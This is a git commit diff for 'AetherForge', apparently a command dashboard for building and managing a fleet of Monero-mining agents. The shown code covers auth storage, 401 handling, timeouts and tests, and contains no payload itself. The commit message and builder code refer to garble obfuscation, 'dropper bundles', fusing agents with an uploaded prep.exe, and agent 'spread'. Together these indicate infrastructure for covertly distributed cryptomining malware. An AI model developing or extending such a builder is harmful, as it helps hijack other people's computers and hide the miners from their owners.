fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -2,26 +2,66 @@
* @vitest-environment happy-dom
*/
import { beforeEach, describe, expect, it, vi } from 'vitest';
import { authHeaders, clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
const AUTH_KEY = 'aetherforge_auth';
describe('auth session helpers', () => {
beforeEach(() => {
sessionStorage.clear();
localStorage.clear();
});
it('stores and retrieves basic token', () => {
it('stores and retrieves basic token in session and local storage', () => {
setStoredAuth('drjones', 'secret');
expect(getStoredAuth()).toBe(btoa('drjones:secret'));
const token = encodeBasicToken('drjones', 'secret');
expect(getStoredAuth()).toBe(token);
expect(sessionStorage.getItem(AUTH_KEY)).toBe(token);
expect(localStorage.getItem(AUTH_KEY)).toBe(token);
});
it('builds Authorization header when logged in', () => {
it('reads from localStorage when sessionStorage is empty', () => {
const token = encodeBasicToken('user', 'pass');
localStorage.setItem(AUTH_KEY, token);
expect(getStoredAuth()).toBe(token);
});
it('builds Authorization and client header when logged in', () => {
setStoredAuth('user', 'pass');
expect(authHeaders()).toEqual({ Authorization: `Basic ${btoa('user:pass')}` });
expect(authHeaders()).toEqual({
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken('user', 'pass')}`,
});
});
it('returns empty headers when logged out', () => {
it('includes client header when logged out', () => {
clearStoredAuth();
expect(authHeaders()).toEqual({});
expect(authHeaders()).toEqual({
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
});
});
it('clears both storages on logout', () => {
setStoredAuth('user', 'pass');
clearStoredAuth();
expect(sessionStorage.getItem(AUTH_KEY)).toBeNull();
expect(localStorage.getItem(AUTH_KEY)).toBeNull();
expect(getStoredAuth()).toBeNull();
});
it('encodeBasicToken supports non-ASCII passwords', () => {
const token = encodeBasicToken('user', 'päss');
expect(token).toBeTruthy();
expect(token).not.toBe(btoa('user:päss'));
});
it('getStoredAuth returns null when sessionStorage throws', () => {
@@ -30,4 +70,11 @@ describe('auth session helpers', () => {
});
expect(getStoredAuth()).toBeNull();
});
it('consumeAuthExpiredFlag is set once on expired logout', () => {
setStoredAuth('user', 'pass');
clearStoredAuth({ expired: true });
expect(consumeAuthExpiredFlag()).toBe(true);
expect(consumeAuthExpiredFlag()).toBe(false);
});
});

View File

@@ -1,30 +1,105 @@
const AUTH_KEY = 'aetherforge_auth';
const AUTH_EXPIRED_KEY = 'aetherforge_auth_expired';
export function getStoredAuth(): string | null {
export const AETHERFORGE_CLIENT_HEADER = 'X-AetherForge-Client';
export const AETHERFORGE_CLIENT_VALUE = 'dashboard';
/** UTF-8-safe Basic auth token (username:password) for Authorization header. */
export function encodeBasicToken(username: string, password: string): string {
const bytes = new TextEncoder().encode(`${username}:${password}`);
let binary = '';
for (let i = 0; i < bytes.length; i++) {
binary += String.fromCharCode(bytes[i]);
}
return btoa(binary);
}
function readAuthStorage(): string | null {
try {
return sessionStorage.getItem(AUTH_KEY);
const session = sessionStorage.getItem(AUTH_KEY);
if (session) return session;
} catch {
/* sessionStorage blocked */
}
try {
return localStorage.getItem(AUTH_KEY);
} catch {
return null;
}
}
function writeAuthStorage(token: string) {
try {
sessionStorage.setItem(AUTH_KEY, token);
} catch {
/* ignore */
}
try {
localStorage.setItem(AUTH_KEY, token);
} catch {
/* ignore */
}
}
function removeAuthStorage() {
try {
sessionStorage.removeItem(AUTH_KEY);
} catch {
/* ignore */
}
try {
localStorage.removeItem(AUTH_KEY);
} catch {
/* ignore */
}
}
export function getStoredAuth(): string | null {
return readAuthStorage();
}
export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) {
const token = btoa(`${username}:${password}`);
sessionStorage.setItem(AUTH_KEY, token);
const token = encodeBasicToken(username, password);
writeAuthStorage(token);
if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth'));
}
}
export function clearStoredAuth(opts?: { silent?: boolean }) {
sessionStorage.removeItem(AUTH_KEY);
export function clearStoredAuth(opts?: { silent?: boolean; expired?: boolean }) {
if (opts?.expired) {
try {
sessionStorage.setItem(AUTH_EXPIRED_KEY, '1');
} catch {
/* ignore */
}
}
removeAuthStorage();
if (!opts?.silent) {
window.dispatchEvent(new Event('aetherforge-auth'));
}
}
/** True once after a 401 cleared stored credentials; consumed by SessionGate login UI. */
export function consumeAuthExpiredFlag(): boolean {
try {
if (sessionStorage.getItem(AUTH_EXPIRED_KEY)) {
sessionStorage.removeItem(AUTH_EXPIRED_KEY);
return true;
}
} catch {
/* ignore */
}
return false;
}
export function authHeaders(): Record<string, string> {
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
};
const token = getStoredAuth();
if (!token) return {};
return { Authorization: `Basic ${token}` };
if (token) {
headers.Authorization = `Basic ${token}`;
}
return headers;
}

View File

@@ -22,6 +22,7 @@ describe('api client', () => {
beforeEach(() => {
sessionStorage.clear();
localStorage.clear();
fetchMock = vi.fn();
vi.stubGlobal('fetch', fetchMock);
});
@@ -38,6 +39,7 @@ describe('api client', () => {
function expectAuthHeaders(init: RequestInit) {
const headers = init.headers as Record<string, string>;
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
expect(headers['X-AetherForge-Client']).toBe('dashboard');
}
it('sends JSON Content-Type and auth on listAgents', async () => {
@@ -69,6 +71,16 @@ describe('api client', () => {
const headers = lastFetch().init.headers as Record<string, string>;
expect(headers.Authorization).toBeUndefined();
expect(headers['X-AetherForge-Client']).toBe('dashboard');
});
it('clears stored auth on 401 API response', async () => {
setStoredAuth('user', 'pass');
fetchMock.mockResolvedValueOnce(textResponse('Unauthorized', 401));
await expect(api.listAgents()).rejects.toThrow('API error 401');
expect(sessionStorage.getItem('aetherforge_auth')).toBeNull();
expect(localStorage.getItem('aetherforge_auth')).toBeNull();
});
it('getAgentStats appends limit query param', async () => {
@@ -111,6 +123,18 @@ describe('api client', () => {
expect(url).toBe('/api/v1/builder/build');
expect(init.method).toBe('POST');
expect(init.body).toBe(JSON.stringify(req));
expect(init.signal).toBeDefined();
});
it('buildAgent surfaces server error from JSON body', async () => {
const req = { fusion_enabled: false, wallet: '4' + 'A'.repeat(94) } as Parameters<typeof api.buildAgent>[0];
fetchMock.mockResolvedValueOnce({
ok: false,
status: 500,
text: async () => JSON.stringify({ success: false, error: 'compile failed (garble): OOM' }),
});
await expect(api.buildAgent(req)).rejects.toThrow('compile failed (garble): OOM');
});
it('buildAgent rejects fusion without prep file', async () => {

View File

@@ -1,11 +1,72 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import { authHeaders } from './auth';
import { authHeaders, clearStoredAuth } from './auth';
import { BACKUP_DOWNLOAD_TIMEOUT_MS, DOWNLOAD_TIMEOUT_MS, fetchAuthedWithTimeout } from './download';
const API_BASE = '/api/v1';
/** Forge compiles (garble / universal / fusion) can run 1030+ minutes. */
export const FORGE_BUILD_TIMEOUT_MS = 45 * 60 * 1000;
/** Fusion size estimate uploads prep.exe — allow longer than default REST. */
const FUSION_ESTIMATE_TIMEOUT_MS = 2 * 60 * 1000;
/** Agent log refresh=1 may block until new lines arrive. */
const AGENT_LOG_REFRESH_TIMEOUT_MS = 90 * 1000;
// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally
// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth.
function forgeTimeoutError(): Error {
return new Error(
'Forge timed out — max settings (garble, universal, fusion) can take 30+ minutes. ' +
'Wait longer, disable obfuscation, or forge one target at a time.',
);
}
async function parseForgeBuildResponse(res: Response): Promise<BuildResponse> {
const text = await res.text();
if (!res.ok) {
try {
const body = JSON.parse(text) as BuildResponse;
if (body.error) {
throw new Error(body.error);
}
} catch (e) {
if (e instanceof Error && !(e instanceof SyntaxError) && !e.message.startsWith('API error')) {
throw e;
}
}
throw new Error(text.trim() || `Build failed (${res.status})`);
}
return JSON.parse(text) as BuildResponse;
}
async function postForgeBuild(url: string, init: RequestInit): Promise<BuildResponse> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FORGE_BUILD_TIMEOUT_MS);
try {
const res = await fetch(`${API_BASE}${url}`, {
...init,
signal: controller.signal,
headers: {
...authHeaders(),
...(init.headers as Record<string, string> | undefined),
},
});
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
return await parseForgeBuildResponse(res);
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw forgeTimeoutError();
}
throw e;
} finally {
clearTimeout(timer);
}
}
async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 10000): Promise<T> {
const { headers: extraHeaders, signal: callerSignal, ...rest } = options ?? {} as RequestInit & { signal?: AbortSignal };
const controller = new AbortController();
@@ -24,10 +85,18 @@ async function fetchJSON<T>(url: string, options?: RequestInit, timeoutMs = 1000
},
});
if (!res.ok) {
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error(`Request timed out after ${Math.round(timeoutMs / 1000)}s`);
}
throw e;
} finally {
clearTimeout(timer);
}
@@ -65,20 +134,14 @@ export const api = {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
return fetch(`${API_BASE}/builder/build`, {
return postForgeBuild('/builder/build', {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<BuildResponse>;
});
}
return fetchJSON<BuildResponse>('/builder/build', {
return postForgeBuild('/builder/build', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(req),
});
},
@@ -90,17 +153,31 @@ export const api = {
const form = new FormData();
form.append('config', JSON.stringify(req));
form.append('prep_exe', prepFile, prepFile.name || 'prep.exe');
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), FUSION_ESTIMATE_TIMEOUT_MS);
return fetch(`${API_BASE}/builder/estimate`, {
method: 'POST',
headers: authHeaders(),
body: form,
}).then(async (res) => {
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
});
signal: controller.signal,
})
.then(async (res) => {
if (res.status === 401) {
clearStoredAuth({ expired: true });
}
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json() as Promise<FusionEstimate>;
})
.catch((e) => {
if (e instanceof DOMException && e.name === 'AbortError') {
throw new Error('Fusion estimate timed out — try a smaller prep file or retry.');
}
throw e;
})
.finally(() => clearTimeout(timer));
},
pinBuild: (buildId: string) =>
@@ -159,12 +236,17 @@ export const api = {
body: JSON.stringify(mac ? { mac } : {}),
}),
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
fetchJSON<{ agent_id: string; content: string }>(
`/agents/${id}/log${refresh ? '?refresh=1' : ''}`,
undefined,
refresh ? AGENT_LOG_REFRESH_TIMEOUT_MS : 10000,
),
downloadAgentLog: async (id: string): Promise<void> => {
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
headers: { ...authHeaders() },
});
const res = await fetchAuthedWithTimeout(
`${API_BASE}/agents/${id}/log?download=1`,
DOWNLOAD_TIMEOUT_MS,
);
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob();
const url = URL.createObjectURL(blob);
@@ -236,9 +318,8 @@ export const api = {
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetch(`${API_BASE}/backup`, {
const res = await fetchAuthedWithTimeout(`${API_BASE}/backup`, BACKUP_DOWNLOAD_TIMEOUT_MS, {
method: 'GET',
headers: { ...authHeaders() },
});
if (!res.ok) {
const err = await res.text();

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { downloadAuthedFile, downloadApiFile } from './download';
import { downloadAuthedFile, downloadApiFile, fetchAuthedWithTimeout } from './download';
import { setStoredAuth } from './auth';
describe('downloadAuthedFile', () => {
@@ -11,6 +11,7 @@ describe('downloadAuthedFile', () => {
beforeEach(() => {
sessionStorage.clear();
localStorage.clear();
fetchMock = vi.fn();
vi.stubGlobal('fetch', fetchMock);
clickMock = vi.fn();
@@ -30,7 +31,9 @@ describe('downloadAuthedFile', () => {
const [url, init] = fetchMock.mock.calls[0];
expect(url).toBe('/api/v1/builds/b1/download');
expect((init.headers as Record<string, string>).Authorization).toBe(`Basic ${btoa('user:pass')}`);
const headers = init.headers as Record<string, string>;
expect(headers.Authorization).toBe(`Basic ${btoa('user:pass')}`);
expect(headers['X-AetherForge-Client']).toBe('dashboard');
expect(clickMock).toHaveBeenCalled();
});
@@ -65,4 +68,18 @@ describe('downloadAuthedFile', () => {
it('downloadApiFile is an alias', () => {
expect(downloadApiFile).toBe(downloadAuthedFile);
});
it('throws timeout message when download exceeds limit', async () => {
fetchMock.mockImplementation((_url, init?: RequestInit) => {
return new Promise((_, reject) => {
init?.signal?.addEventListener('abort', () => {
reject(new DOMException('The operation was aborted.', 'AbortError'));
});
});
});
await expect(fetchAuthedWithTimeout('/api/v1/builds/x/download', 1500)).rejects.toThrow(
'Download timed out after 2s',
);
});
});

View File

@@ -1,9 +1,46 @@
import { authHeaders } from './auth';
/** Large build artifacts (ZIP, fusion bundles). */
export const DOWNLOAD_TIMEOUT_MS = 5 * 60 * 1000;
/** Full deck backup zip — may include DB + config. */
export const BACKUP_DOWNLOAD_TIMEOUT_MS = 10 * 60 * 1000;
function downloadTimeoutError(timeoutMs: number): Error {
return new Error(`Download timed out after ${Math.round(timeoutMs / 1000)}s`);
}
/** Authenticated fetch with abort timeout and consistent AbortError messaging. */
export async function fetchAuthedWithTimeout(
url: string,
timeoutMs: number,
init?: RequestInit,
): Promise<Response> {
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), timeoutMs);
try {
return await fetch(url, {
...init,
signal: controller.signal,
headers: {
...authHeaders(),
...(init?.headers as Record<string, string> | undefined),
},
});
} catch (e) {
if (e instanceof DOMException && e.name === 'AbortError') {
throw downloadTimeoutError(timeoutMs);
}
throw e;
} finally {
clearTimeout(timer);
}
}
/** Download a protected /api/v1 file using session auth (build uninstall scripts, etc.). */
export async function downloadAuthedFile(apiPath: string, filename: string): Promise<void> {
const path = apiPath.startsWith('/api/v1') ? apiPath : `/api/v1${apiPath.startsWith('/') ? apiPath : `/${apiPath}`}`;
const res = await fetch(path, { headers: authHeaders() });
const res = await fetchAuthedWithTimeout(path, DOWNLOAD_TIMEOUT_MS);
if (!res.ok) {
const err = await res.text();
throw new Error(err || `Download failed (${res.status})`);

View File

@@ -50,17 +50,15 @@ export default function HashrateChart({
const gradId = colorToId(color);
const peak = chartSeriesPeak(data);
const delta = chartSeriesDelta(data);
const liveLabel =
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
const liveClass =
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
const liveLabel = displayMode === 'live' ? '● LIVE' : '○ IDLE';
const liveClass = displayMode === 'live' ? 'pulse' : 'empty';
if (data.length === 0) {
return (
<div className="chart-empty neon-chart-panel wealth-empty">
<div className="chart-empty-icon"></div>
<p className="font-tech">{title || 'Telemetry'}</p>
<span>Calibrating chart telemetry</span>
<span>No live data yet connect miners to populate this chart</span>
</div>
);
}

View File

@@ -5,7 +5,6 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
import { timeToPayout } from '../../help/fleetAnalytics';
import { formatHashrate } from '../../help/fleetFilters';
import { SAMPLE_FLEET_PREVIEW } from '../../help/chartSampleData';
import './FleetPanels.css';
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
@@ -174,26 +173,6 @@ export function EarningsEstimator({ hashrate, xmrPrice }: { hashrate: number; xm
);
}
/** Shown when fleet hashrate is zero — keeps the deck feeling lucrative. */
export function WealthEarningsPreview({ xmrPrice }: { xmrPrice?: number | null }) {
const price = xmrPrice ?? SAMPLE_FLEET_PREVIEW.xmrPrice;
const xmrDay = SAMPLE_FLEET_PREVIEW.xmrPerDay;
const usdDay = xmrDay * price;
return (
<NeonCard accent="gold" className="stat-card-wrap earnings-preview wealth-earnings">
<div className="earnings-preview-badge font-tech">PROJECTED YIELD</div>
<div className="stat-label font-tech">Target Fleet Earnings</div>
<div className="stat-value neon-glow-gold">~{xmrDay.toFixed(4)} XMR/day</div>
<div className="earnings-usd-day"> ${usdDay.toFixed(2)}/day</div>
<div className="stat-sub">At {formatHashrate(SAMPLE_FLEET_PREVIEW.hashrate)} fleet target</div>
<div className="stat-sub" style={{ marginTop: 4, opacity: 0.55, fontSize: '0.68rem' }}>
Deploy miners to replace projection with live pool data
</div>
</NeonCard>
);
}
// ─── Fleet Health Card ────────────────────────────────────────────────────────
export function FleetHealthCard({ health }: { health: FleetHealth }) {
@@ -231,24 +210,20 @@ export function ContributionBars({
bars,
xmrPerDay,
xmrPrice,
sample = false,
}: {
bars: ContributionBar[];
xmrPerDay?: number;
xmrPrice?: number | null;
sample?: boolean;
}) {
if (bars.length === 0) return null;
return (
<NeonCard accent="cyan" className={`section contrib-panel${sample ? ' sample-contrib' : ''}`} hud>
<NeonCard accent="cyan" className="section contrib-panel" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Contribution Map
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginTop: 0 }}>
{sample
? 'Sample contribution map — your rigs will populate this lane when they connect.'
: "Each bar shows a machine's share of total fleet hashrate."}
Each bar shows a machine&apos;s share of total fleet hashrate.
</p>
<div className="contrib-list">
{bars.map((b) => {

View File

@@ -1,103 +1,159 @@
import { useEffect, useState, type ReactNode } from 'react';
import { getStoredAuth, setStoredAuth } from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setReady(true);
return;
}
fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } })
.then((r) => {
setAuthed(r.ok);
setReady(true);
})
.catch(() => {
setAuthed(false);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
const token = btoa(`${user}:${pass}`);
try {
const res = await fetch('/api/v1/config', { headers: { Authorization: `Basic ${token}` } });
if (!res.ok) {
setErr('Login failed — check username and password.');
play('error');
return;
}
setStoredAuth(user, pass);
setAuthed(true);
play('success');
} catch {
setErr('Cannot reach server — check that miner-server is running.');
}
};
if (!ready) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<p className="font-tech">Starting AetherForge</p>
</div>
);
}
if (!authed) {
return (
<div className="session-gate">
<div className="session-gate-sacred-ring" aria-hidden>
<FlowerOfLifeWatermark opacity={0.5} />
</div>
<div className="session-gate-keys" aria-hidden>
<div className="session-gate-key session-gate-key--tl">
<KnowledgeKey opacity={0.55} />
</div>
<div className="session-gate-key session-gate-key--br">
<KnowledgeKey opacity={0.45} />
</div>
</div>
<form className="session-gate-card card" onSubmit={handleLogin}>
<h1 className="font-display">AetherForge</h1>
<p className="form-hint">Sign in to open the command deck.</p>
<label className="label" htmlFor="session-user">Username</label>
<input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
<label className="label" htmlFor="session-pass">Password</label>
<input
id="session-pass"
className="input"
type="password"
value={pass}
onChange={(e) => setPass(e.target.value)}
autoComplete="current-password"
/>
{err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
<button type="submit" className="btn btn-primary btn-lg">
Enter Command Deck
</button>
<p className="session-gate-whisper" aria-hidden>
ψ · the deck remembers every key
</p>
</form>
</div>
);
}
return <>{children}</>;
}
import { useEffect, useState, type ReactNode } from 'react';
import {
AETHERFORGE_CLIENT_HEADER,
AETHERFORGE_CLIENT_VALUE,
authHeaders,
clearStoredAuth,
consumeAuthExpiredFlag,
encodeBasicToken,
getStoredAuth,
setStoredAuth,
} from '../api/auth';
import { useSound } from '../context/SoundContext';
import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
export default function SessionGate({ children }: { children: ReactNode }) {
const { play } = useSound();
const [ready, setReady] = useState(false);
const [authed, setAuthed] = useState(!!getStoredAuth());
const [degraded, setDegraded] = useState(false);
const [user, setUser] = useState('');
const [pass, setPass] = useState('');
const [err, setErr] = useState('');
const [sessionExpired, setSessionExpired] = useState(false);
useEffect(() => {
const sync = () => {
const hasAuth = !!getStoredAuth();
setAuthed(hasAuth);
if (!hasAuth) {
setSessionExpired(consumeAuthExpiredFlag());
}
};
window.addEventListener('aetherforge-auth', sync);
return () => window.removeEventListener('aetherforge-auth', sync);
}, []);
useEffect(() => {
const token = getStoredAuth();
if (!token) {
setAuthed(false);
setSessionExpired(consumeAuthExpiredFlag());
setReady(true);
return;
}
fetch('/api/v1/config', { headers: authHeaders() })
.then((r) => {
if (r.status === 401) {
clearStoredAuth({ silent: true, expired: true });
setAuthed(false);
setSessionExpired(true);
} else if (!r.ok) {
// Server reachable but unhappy — keep saved credentials (degraded mode).
setAuthed(true);
setDegraded(true);
} else {
setAuthed(true);
setDegraded(false);
}
setReady(true);
})
.catch(() => {
// Network blip — trust stored credentials until the server responds.
setAuthed(true);
setDegraded(true);
setReady(true);
});
}, []);
const handleLogin = async (e: React.FormEvent) => {
e.preventDefault();
setErr('');
setSessionExpired(false);
const headers: Record<string, string> = {
[AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
Authorization: `Basic ${encodeBasicToken(user, pass)}`,
};
try {
const res = await fetch('/api/v1/config', { headers });
if (!res.ok) {
setErr('Login failed — check username and password.');

View File

@@ -73,12 +73,12 @@ interface ActivityPulseProps {
items: { id: string; label: string; ok: boolean; time?: string }[];
}
export function ActivityPulse({ items, sample = false }: ActivityPulseProps & { sample?: boolean }) {
export function ActivityPulse({ items }: ActivityPulseProps) {
if (items.length === 0) {
return <p className="activity-empty font-tech">Awaiting fleet activity</p>;
}
return (
<div className={`activity-pulse${sample ? ' sample-activity' : ''}`}>
<div className="activity-pulse">
{items.slice(0, 12).map((item) => (
<div key={item.id} className={`activity-blip ${item.ok ? 'ok' : 'bad'}`} title={item.time || item.label}>
<span className="activity-blip-core" />

View File

@@ -65,15 +65,22 @@ vi.mock('../context/ForgeContext', () => ({
useForge: vi.fn(() => ({ forging: false, stage: '' })),
}));
vi.mock('../api/download', () => ({
downloadApiFile: vi.fn(),
downloadAuthedFile: vi.fn(),
}));
vi.mock('../api/download', () => {
const downloadAuthedFile = vi.fn();
return {
downloadAuthedFile,
downloadApiFile: downloadAuthedFile,
};
});
vi.mock('../api/auth', () => ({
getStoredAuth: vi.fn(),
setStoredAuth: vi.fn(),
}));
vi.mock('../api/auth', async (importOriginal) => {
const actual = await importOriginal<typeof import('../api/auth')>();
return {
...actual,
getStoredAuth: vi.fn(),
setStoredAuth: vi.fn(),
};
});
vi.mock('qrcode', () => ({
default: {
@@ -174,9 +181,7 @@ describe('DownloadButton', () => {
);
const btn = screen.getByRole('button', { name: 'Save' });
await userEvent.setup().click(btn);
await waitFor(() => {
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
});
expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled();
await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin'));
});
@@ -283,7 +288,7 @@ describe('SessionGate', () => {
it('renders children when stored auth validates', async () => {
getStoredAuthMock.mockReturnValue('dGVzdA==');
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true }));
vi.stubGlobal('fetch', vi.fn().mockResolvedValue({ ok: true, status: 200 }));
render(
<SessionGate>
<div>protected</div>
@@ -291,6 +296,18 @@ describe('SessionGate', () => {
);
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
});
it('keeps session on network blip during startup validation', async () => {
getStoredAuthMock.mockReturnValue('dGVzdA==');
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('ECONNREFUSED')));
render(
<SessionGate>
<div>protected</div>
</SessionGate>
);
await waitFor(() => expect(screen.getByText('protected')).toBeInTheDocument());
expect(screen.getByRole('status')).toHaveTextContent(/Cannot reach server/i);
});
});
describe('GaugeRing', () => {
@@ -320,7 +337,7 @@ describe('HashrateChart', () => {
it('shows empty state when data is empty', () => {
render(<HashrateChart data={[]} title="Fleet Hash" />);
expect(screen.getByText('Fleet Hash')).toBeInTheDocument();
expect(screen.getByText(/Calibrating chart telemetry/i)).toBeInTheDocument();
expect(screen.getByText(/No live data yet/i)).toBeInTheDocument();
});
it('renders chart with validated sample series', () => {
@@ -329,14 +346,14 @@ describe('HashrateChart', () => {
render(
<HashrateChart
data={sample}
displayMode="sample"
displayMode="live"
title="Fleet Hash"
color="#00f5ff"
unit="H/s"
/>
);
expect(screen.getByText(/PEAK/)).toBeInTheDocument();
expect(screen.getByText(/PROJECTION/)).toBeInTheDocument();
expect(screen.getByText(/LIVE/)).toBeInTheDocument();
});
it('renders chart with data points', () => {

View File

@@ -2,7 +2,7 @@
* @vitest-environment happy-dom
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { act, render, renderHook } from '@testing-library/react';
import { act, render, renderHook, waitFor } from '@testing-library/react';
import { WebSocketProvider } from './WebSocketProvider';
import { useWebSocketContext } from './WebSocketContext';
import { useWebSocket } from '../hooks/useWebSocket';
@@ -50,6 +50,7 @@ describe('WebSocketProvider', () => {
MockWebSocket.instances = [];
setStoredAuth('testuser', 'testpass', { silent: true });
vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket);
vi.stubGlobal('fetch', vi.fn().mockRejectedValue(new Error('no ws ticket')));
Object.defineProperty(window, 'location', {
value: { protocol: 'http:', host: 'localhost:8080' },
configurable: true,
@@ -64,16 +65,23 @@ describe('WebSocketProvider', () => {
return MockWebSocket.instances.at(-1)!;
}
async function waitForSocket() {
await waitFor(() => {
expect(MockWebSocket.instances.length).toBeGreaterThan(0);
});
return latestSocket();
}
function wrapper({ children }: { children: React.ReactNode }) {
return <WebSocketProvider>{children}</WebSocketProvider>;
}
it('connects to ws dashboard with auth token query param', () => {
it('connects to ws dashboard with auth token query param', async () => {
setStoredAuth('drjones', 'secret');
MockWebSocket.instances = [];
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
const ws = latestSocket();
const ws = await waitForSocket();
const token = btoa('drjones:secret');
expect(ws.url).toBe(`ws://localhost:8080/ws/dashboard?token=${encodeURIComponent(token)}`);
@@ -92,9 +100,10 @@ describe('WebSocketProvider', () => {
expect(useWebSocket).toBe(useWebSocketContext);
});
it('handles init and agent_online messages', () => {
it('handles init and agent_online messages', async () => {
const agent = mockAgent({ id: 'live-1' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
@@ -115,9 +124,10 @@ describe('WebSocketProvider', () => {
expect(result.current.agents[0].hashrate_15s).toBe(999);
});
it('marks agent offline and caps recent shares', () => {
it('marks agent offline and caps recent shares', async () => {
const agent = mockAgent({ id: 'a-offline' });
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
@@ -140,8 +150,9 @@ describe('WebSocketProvider', () => {
expect(result.current.recentShares.length).toBeLessThanOrEqual(50);
});
it('assigns monotonic _seq on command_result', () => {
it('assigns monotonic _seq on command_result', async () => {
const { result } = renderHook(() => useWebSocketContext(), { wrapper });
await waitForSocket();
act(() => {
latestSocket().emitOpen();
@@ -161,23 +172,24 @@ describe('WebSocketProvider', () => {
expect(result.current.agentLogs.a1).toBe('log data');
});
it('schedules reconnect after close', () => {
vi.useFakeTimers();
it('schedules reconnect after close', async () => {
MockWebSocket.instances = [];
renderHook(() => useWebSocketContext(), { wrapper });
const first = latestSocket();
const first = await waitForSocket();
act(() => first.close());
expect(MockWebSocket.instances).toHaveLength(1);
act(() => vi.advanceTimersByTime(3000));
expect(MockWebSocket.instances).toHaveLength(2);
vi.useRealTimers();
});
await act(async () => {
